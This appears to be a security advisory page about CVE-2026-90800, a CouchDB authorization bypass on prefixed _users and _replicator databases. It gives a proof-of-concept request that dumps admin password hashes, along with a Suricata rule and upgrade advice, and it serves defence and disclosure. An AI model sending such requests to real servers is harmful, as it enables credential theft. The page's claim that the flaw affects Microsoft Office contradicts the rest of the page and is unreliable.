Skip to content

CVE-2026-90800: Apache CouchDB Prefixed System Databases Authorization Bypass

Density:
C-Level Executive Briefing CVE-2026-90800 HIGH SCORE 87/100

A high-severity authorization bypass vulnerability (CVE-2026-90800) has been identified in Apache CouchDB versions 3.5.2 and earlier. The chttpd HTTP routing daemon fails to enforce security restrictions on system databases that use hierarchical or tenant prefixes (such as tenant/_users or cluster/_replicator). Unauthenticated remote attackers can query standard document retrieval endpoints to dump administrative password hashes and inter-cluster replication tokens. Upgrading to CouchDB 3.5.3 restores strict access controls. Hermes rates this vector at HTS 87 (HIGH).

HERMES

HERMES THREAT SCORE & MULTITENANT DATABASE INTEGRITY

Target: Apache CouchDB HTTP Routing Daemon (/src/chttpd/)
Confidence: 98%
87 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 17 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 19 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v4.0 scores this vulnerability at 8.1 High. Hermes Threat Score evaluates it at 87 (HIGH). In multitenant and partitioned architectures where organizations rely on prefixed system databases for organizational boundary isolation, this zero-authentication flaw directly yields salted password hashes and external database credentials.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-90800: Apache CouchDB Prefixed System Databases Authorization BypassVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

Apache CouchDB encapsulates security principals, user authentication records, and replication tasks inside specialized system databases: _users and _replicator. Under standard configurations, access to these databases requires administrative authentication or ownership verification.

However, in multi-tenant installations, partitioned deployments, or proxy-fronted infrastructures, system databases may be organized with path prefixes (e.g., acme/_users or tenant_a/_replicator). In versions prior to 3.5.3, the authorization filter in chttpd failed to inspect prefixed paths correctly, leaving endpoints accessible without credentials.


The flaw resides in chttpd_auth_cache.erl and chttpd_db.erl. Access checks for system databases checked only for exact matches against literal strings <<"_users">> or <<"_replicator">>. When a database name arrived with a prefix (<<"tenant/_users">>), the equality checks returned false, and the request bypassed the system database security gate:

%% Vulnerable logic in chttpd:
is_system_db(<<"_users">>) -> true;
is_system_db(<<"_replicator">>) -> true;
is_system_db(_) -> false. % Prefixed names like "tenant/_users" evaluated to false!

Because is_system_db/1 evaluated to false, CouchDB fell back to standard database permission evaluation rules, allowing unauthenticated public reads if default database permissions were permissive or unspecified.


GET /tenant_prod/_users/_all_docs?include_docs=true HTTP/1.1
Host: couchdb.target.internal:5984
Accept: application/json

Response (Extracted Password Hashes):

{
"total_rows": 1,
"offset": 0,
"rows": [
{
"id": "org.couchdb.user:admin_tenant",
"doc": {
"_id": "org.couchdb.user:admin_tenant",
"name": "admin_tenant",
"roles": ["_admin"],
"type": "user",
"password_scheme": "pbkdf2",
"iterations": 10000,
"salt": "a4f8c9...",
"derived_key": "e3b0c44..."
}
}
]
}

ProductVulnerable VersionsPatched VersionUpdate Urgency
Apache CouchDB<= 3.5.2 (All Platforms)3.5.3HIGH (Immediate)

alert http $EXTERNAL_NET any -> $HOME_NET 5984 ( \
msg:"ET EXPLOIT Apache CouchDB Prefixed System DB Authorization Bypass (CVE-2026-90800)"; \
flow:established,to_server; \
http.method; content:"GET"; \
http.uri; content:"/_users"; fast_pattern; \
http.uri; pcre:"/^\/[^\/]+\/_(users|replicator)/"; \
classtype:bad-unknown; \
sid:202690800; rev:1; \
)

  1. Upgrade to Apache CouchDB 3.5.3: The 3.5.3 release canonicalizes all database paths and applies system database constraints regardless of prefix nesting.

  2. Audit Database Security Objects: Verify that all existing databases, including prefixed ones, possess explicit _security objects requiring authenticated role membership.

  3. Enforce Authentication by Default: Ensure require_valid_user = true is configured in the [chttpd] configuration block to prohibit anonymous queries globally.